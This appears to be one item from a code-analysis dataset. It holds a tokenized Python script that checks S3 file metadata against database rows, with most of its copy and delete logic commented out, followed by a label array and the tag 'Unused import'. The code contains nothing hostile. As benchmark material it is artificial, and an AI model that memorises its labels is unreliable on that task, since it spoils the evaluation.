", " ", " ", "CONC", "AT", "('", "%", "s", "\\u", "2", "',", " ", "'/'", ",", " ", "property", ".", "entity", "\\u", "id", ",", " ", "'/'", ",", " ", "property", ".", "id", ")", " ", "AS", " ", "new", "\\u", "key", ",", "\\", "10", ";", " ", " ", " ", " ", "file", ".", "filename", ",", "\\", "10", ";", " ", " ", " ", " ", "file", ".", "files", "ize", "\\", "10", ";", " ", " ", " ", " ", "FROM", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "LEF", "T", " ", "JOIN", " ", "property", " ", "ON", " ", "property", ".", "value", "\\u", "file", " ", "=", " ", "file", ".", "id", "\\", "10", ";", " ", " ", " ", " ", "WHE", "RE", " ", "file", ".", "url", " ", "IS", " ", "NULL", "\\", "10", ";", " ", " ", " ", " ", "AND", " ", "file", ".", "s3", "\\u", "key", " ", "IS", " ", "NOT", " ", "NULL", "\\", "10", ";", " ", " ", " ", " ", "--", " ", "AND", " ", "file", ".", "md5", " ", "IS", " ", "NOT", " ", "NULL", "\\", "10", ";", " ", " ", " ", " ", "ORDE", "R", " ", "BY", " ", "id", "\\", "10", ";", " ", " ", " ", " ", "--", " ", "LIMIT", " ", "1000", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "%_", "self_", "._", "db", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s3", "\\u", "conn_", "=_", "S", "3", "Connection_", "(_", "AW", "S", "\\u", "ACCESS", "\\u", "KEY_", ",_", "AW", "S", "\\u", "SEC", "RET", "\\u", "KEY_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s3", "\\u", "bucket_", "=_", "s3", "\\u", "conn_", "._", "get", "\\u", "bucket_", "(_", "AW", "S", "\\u", "BUCKET", "_", ",_", "validate_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rows_", "=_", "self_", "._", "db_", "._", "query_", "(_", "sql_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "r_", "in_", "rows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s3", "\\u", "key_", "=_", "s3", "\\u", "bucket_", "._", "get", "\\u", "key_", "(_", "r_", "._", "s3", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "s3", "\\u", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "no", " ", "S", "3", " ", "key", "'_", "%_", "(_", "r_", "._", "id_", ",_", "r_", "._", "s3", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "r_", "._", "filename_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "r", ".", "filename", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mime", "types", ".", "init", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mime", " ", "=", " ", "mime", "types", ".", "types", "\\u", "map", ".", "get", "('.", "%", "s", "'", " ", "%", " ", "r", ".", "filename", ".", "lower", "()", ".", "split", "('.", "')", "[-", "1", "],", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mime", " ", "=", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "s3", "\\u", "key_", "._", "content", "\\u", "disposition", "_", "!=_", "'", "inline", ";", " ", "filename", "*=", "UT", "F", "-", "8", "\\\\'\\\\", "'%", "s", "'_", "%_", "urllib_", "._", "quote_", "(_", "r_", "._", "filename_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "r", ".", "filename", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mime", "types", ".", "init", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mime", " ", "=", " ", "mime", "types", ".", "types", "\\u", "map", ".", "get", "('.", "%", "s", "'", " ", "%", " ", "r", ".", "filename", ".", "lower", "()", ".", "split", "('.", "')", "[-", "1", "],", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "metadata", " ", "=", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Type", "':", " ", "mime", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Dispo", "sition", "':", " ", "'", "inline", ";", " ", "filename", "*=", "UT", "F", "-", "8", "\\\\'\\\\", "'%", "s", "'", " ", "%", " ", "url", "lib", ".", "quote", "(", "r", ".", "filename", ".", "encode", "('", "utf", "-", "8", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "metadata", " ", "=", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Type", "':", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", "\\u", "key", " ", "=", " ", "s3", "\\u", "key", ".", "copy", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dst", "\\u", "bucket", " ", " ", " ", "=", " ", "s3", "\\u", "key", ".", "bucket", ".", "name", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dst", "\\u", "key", " ", " ", "=", " ", "s3", "\\u", "key", ".", "name", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "metadata", " ", "=", " ", "metadata", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "encrypt", "\\u", "key", " ", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "-", " ", "%", "s", " ", "-", " ", "%", "s", "'_", "%_", "(_", "r_", "._", "id_", ",_", "r_", "._", "s3", "\\u", "key_", ",_", "r_", "._", "filename_", ",_", "s3", "\\u", "key_", "._", "content", "\\u", "disposition", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "r", ".", "md5", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "r", ".", "md5", " ", "!=", " ", "s3", "\\u", "key", ".", "eta", "g", "[", "1", ":]", "[:", "-1", "]:", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "-", " ", "%", "s", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "md5", ",", " ", "s3", "\\u", "key", ".", "eta", "g", "[", "1", ":-", "1", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "r", ".", "files", "ize", " ", "!=", " ", "s3", "\\u", "key", ".", "size", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "-", " ", "%", "s", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "files", "ize", ",", " ", "s3", "\\u", "key", ".", "size", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "r", ".", "new", "\\u", "key", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "new", "\\u", "key", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "s3", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "continue_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "old", "\\u", "file", " ", "=", " ", "os", ".", "path", ".", "join", "('", "/'", ",", " ", "'", "ent", "u", "',", " ", "'", "old", "files", "',", " ", "r", ".", "md5", "[", "0", "],", " ", "r", ".", "md5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "not", " ", "os", ".", "path", ".", "exist", "s", "(", "old", "\\u", "file", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "key", " ", "=", " ", "s3", "\\u", "bucket", ".", "get", "\\u", "key", "(", "self", ".", "db", "\\u", "name", " ", "+", " ", "'/'", " ", "+", " ", "r", ".", "md5", "[", "0", "]", " ", "+", " ", "'/'", " ", "+", " ", "r", ".", "md5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "s3", "\\u", "key", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "if", " ", "r", ".", "filename", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "mime", "types", ".", "init", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "mime", " ", "=", " ", "mime", "types", ".", "types", "\\u", "map", ".", "get", "('.", "%", "s", "'", " ", "%", " ", "r", ".", "filename", ".", "lower", "()", ".", "split", "('.", "')", "[-", "1", "],", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "metadata", " ", "=", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Type", "':", " ", "mime", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Dispo", "sition", "':", " ", "'", "inline", ";", " ", "filename", "*=", "UT", "F", "-", "8", "\\\\'\\\\", "'%", "s", "'", " ", "%", " ", "url", "lib", ".", "quote", "(", "r", ".", "filename", ".", "encode", "('", "utf", "-", "8", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "metadata", " ", "=", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Type", "':", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "new", "\\u", "key", " ", "=", " ", "s3", "\\u", "key", ".", "copy", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "dst", "\\u", "bucket", " ", " ", " ", "=", " ", "'", "ent", "u", "-", "files", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "dst", "\\u", "key", " ", " ", "=", " ", "r", ".", "new", "\\u", "key", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "metadata", " ", "=", " ", "metadata", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "encrypt", "\\u", "key", " ", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "new", "\\u", "key", ".", "set\\u", "acl", "('", "private", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "db", ".", "execute", "('", "UPDATE", " ", "file", " ", "set", " ", "s3", "\\u", "key", " ", "=", " ", "%", "s", ",", " ", "change", "d", " ", "=", " ", "NOW", "()", ",", " ", "change", "d\\u", "by", " ", "=", " ", "\\\\'", "s3", "copy", "3", "\\\\'", " ", "WHE", "RE", " ", "id", " ", "=", " ", "%", "s", " ", "LIMIT", " ", "1", ";'", ",", " ", "r", ".", "new", "\\u", "key", ",", " ", "r", ".", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "S", "3", " ", "file", " ", "found", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "s3", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "continue_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "file", " ", "=", " ", "Key", "(", "s3", "\\u", "bucket", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "file", ".", "key", " ", "=", " ", "r", ".", "new", "\\u", "key_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "r", ".", "filename", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mime", "types", ".", "init", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "file", ".", "content", "\\u", "type", " ", "=", " ", "mime", "types", ".", "types", "\\u", "map", ".", "get", "('.", "%", "s", "'", " ", "%", " ", "r", ".", "filename", ".", "lower", "()", ".", "split", "('.", "')", "[-", "1", "],", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "file", ".", "set\\u", "metadata", "('", "Conten", "t", "-", "Dispo", "sition", "',", " ", "'", "inline", ";", " ", "filename", "*=", "UT", "F", "-", "8", "\\\\'\\\\", "'%", "s", "'", " ", "%", " ", "url", "lib", ".", "quote", "(", "r", ".", "filename", ".", "encode", "('", "utf", "-", "8", "'))", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "file", ".", "content", "\\u", "type", " ", "=", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "file", ".", "set\\u", "content", "s", "\\u", "from", "\\u", "filename", "(", "old", "\\u", "file", ",", " ", "encrypt", "\\u", "key", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".", "db", ".", "execute", "('", "UPDATE", " ", "file", " ", "set", " ", "s3", "\\u", "key", " ", "=", " ", "%", "s", ",", " ", "change", "d", " ", "=", " ", "NOW", "()", ",", " ", "change", "d\\u", "by", " ", "=", " ", "\\\\'", "s3", "copy", "3", "\\\\'", " ", "WHE", "RE", " ", "id", " ", "=", " ", "%", "s", " ", "LIMIT", " ", "1", ";'", ",", " ", "r", ".", "new", "\\u", "key", ",", " ", "r", ".", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", "\\u", "dir", " ", "=", " ", "os", ".", "path", ".", "join", "('", "/'", ",", " ", "'", "ent", "u", "',", " ", "'", "old", "files", "',", " ", "r", ".", "md5", "[", "0", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", "\\u", "file", " ", "=", " ", "os", ".", "path", ".", "join", "(", "new", "\\u", "dir", ",", " ", "r", ".", "md5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "not", " ", "os", ".", "path", ".", "exist", "s", "(", "new", "\\u", "dir", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "os", ".", "maked", "irs", "(", "new", "\\u", "dir", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "os", ".", "rename", "(", "old", "\\u", "file", ",", " ", "new", "\\u", "file", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "-", " ", "%", "s", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "old", "\\u", "file", ",", " ", "r", ".", "new", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "old", "\\u", "file", " ", "=", " ", "os", ".", "path", ".", "join", "('", "/'", ",", " ", "'", "ent", "u", "',", " ", "'", "files", "',", " ", "self", ".", "db", "\\u", "name", ",", " ", "r", ".", "md5", "[", "0", "],", " ", "r", ".", "md5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "os", ".", "path", ".", "exist", "s", "(", "os", ".", "path", ".", "join", "('", "/'", ",", " ", "'", "ent", "u", "',", " ", "'", "files", "',", " ", "self", ".", "db", "\\u", "name", ",", " ", "r", ".", "md5", "[", "0", "],", " ", "r", ".", "md5", "))", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "file", " ", "not", " ", "in", " ", "S", "3", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "s3", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "not", " ", "r", ".", "new", "\\u", "key", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "new", " ", "key", " ", "not", " ", "set", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "old", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "continue_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "r", ".", "filename", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mime", "types", ".", "init", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mime", " ", "=", " ", "mime", "types", ".", "types", "\\u", "map", ".", "get", "('.", "%", "s", "'", " ", "%", " ", "r", ".", "filename", ".", "lower", "()", ".", "split", "('.", "')", "[-", "1", "],", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "metadata", " ", "=", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Type", "':", " ", "mime", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Dispo", "sition", "':", " ", "'", "inline", ";", " ", "filename", "*=", "UT", "F", "-", "8", "\\\\'\\\\", "'%", "s", "'", " ", "%", " ", "url", "lib", ".", "quote", "(", "r", ".", "filename", ".", "encode", "('", "utf", "-", "8", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "metadata", " ", "=", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "Conten", "t", "-", "Type", "':", " ", "'", "applica", "tion", "/", "oct", "et", "-", "stream", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", "\\u", "key", " ", "=", " ", "s3", "\\u", "key", ".", "copy", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dst", "\\u", "bucket", " ", " ", " ", "=", " ", "s3", "\\u", "key", ".", "bucket", ".", "name", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dst", "\\u", "key", " ", " ", "=", " ", "r", ".", "new", "\\u", "key", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "metadata", " ", "=", " ", "metadata", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "encrypt", "\\u", "key", " ", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", "\\u", "key", ".", "set\\u", "acl", "('", "private", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "not", " ", "new", "\\u", "key", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "copy", " ", "fail", "ed", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "s3", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "continue_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".", "db", ".", "execute", "('", "UPDATE", " ", "file", " ", "set", " ", "s3", "\\u", "key", " ", "=", " ", "%", "s", ",", " ", "change", "d", " ", "=", " ", "NOW", "()", ",", " ", "change", "d\\u", "by", " ", "=", " ", "\\\\'", "s3", "copy", "2", "\\\\'", " ", "WHE", "RE", " ", "id", " ", "=", " ", "%", "s", " ", "LIMIT", " ", "1", ";'", ",", " ", "r", ".", "new", "\\u", "key", ",", " ", "r", ".", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "key", "2", " ", "=", " ", "s3", "\\u", "bucket", ".", "get", "\\u", "key", "(", "r", ".", "new", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "not", " ", "s3", "\\u", "key", "2", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "new", " ", "S", "3", " ", "file", " ", "not", " ", "found", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "s3", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "continue_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "key", ".", "delete", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".", "db", ".", "execute", "('", "UPDATE", " ", "file", " ", "set", " ", "s3", "\\u", "key", " ", "=", " ", "%", "s", ",", " ", "change", "d", " ", "=", " ", "NOW", "()", ",", " ", "change", "d\\u", "by", " ", "=", " ", "\\\\'", "s3", "copy", "\\\\'", " ", "WHE", "RE", " ", "id", " ", "=", " ", "%", "s", " ", "LIMIT", " ", "1", ";'", ",", " ", "r", ".", "new", "\\u", "key", ",", " ", "r", ".", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "not", " ", "self", ".", "db", ".", "get", "('", "SELECT", " ", "id", " ", "FROM", " ", "file", " ", "WHE", "RE", " ", "md5", " ", "=", " ", "%", "s", " ", "AND", " ", "s3", "\\u", "key", " ", "IS", " ", "NULL", " ", "LIMIT", " ", "1", ";'", ",", " ", "r", ".", "md5", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "old", "\\u", "file", " ", "=", " ", "os", ".", "path", ".", "join", "('", "/'", ",", " ", "'", "ent", "u", "',", " ", "'", "files", "',", " ", "self", ".", "db", "\\u", "name", ",", " ", "r", ".", "md5", "[", "0", "],", " ", "r", ".", "md5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", "\\u", "dir", " ", "=", " ", "os", ".", "path", ".", "join", "('", "/'", ",", " ", "'", "ent", "u", "',", " ", "'", "old", "files", "',", " ", "r", ".", "md5", "[", "0", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", "\\u", "file", " ", "=", " ", "os", ".", "path", ".", "join", "(", "new", "\\u", "dir", ",", " ", "r", ".", "md5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "os", ".", "path", ".", "exist", "s", "(", "old", "\\u", "file", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "if", " ", "not", " ", "os", ".", "path", ".", "exist", "s", "(", "new", "\\u", "dir", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "os", ".", "maked", "irs", "(", "new", "\\u", "dir", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "os", ".", "rename", "(", "old", "\\u", "file", ",", " ", "new", "\\u", "file", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "print", " ", "'", "ERROR", ":", " ", "%", "s", " ", "-", " ", "%", "s", " ", "file", " ", "not", " ", "found", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "old", "\\u", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "s3", "\\u", "key", ".", "delete", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "args", ".", "verbo", "se", " ", ">", " ", "3", ":", " ", "print", " ", "'%", "s", " ", "->", " ", "%", "s", " ", "->", " ", "%", "s", "'", " ", "%", " ", "(", "r", ".", "id", ",", " ", "r", ".", "old", "\\u", "key", ",", " ", "new", "\\u", "key", ".", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
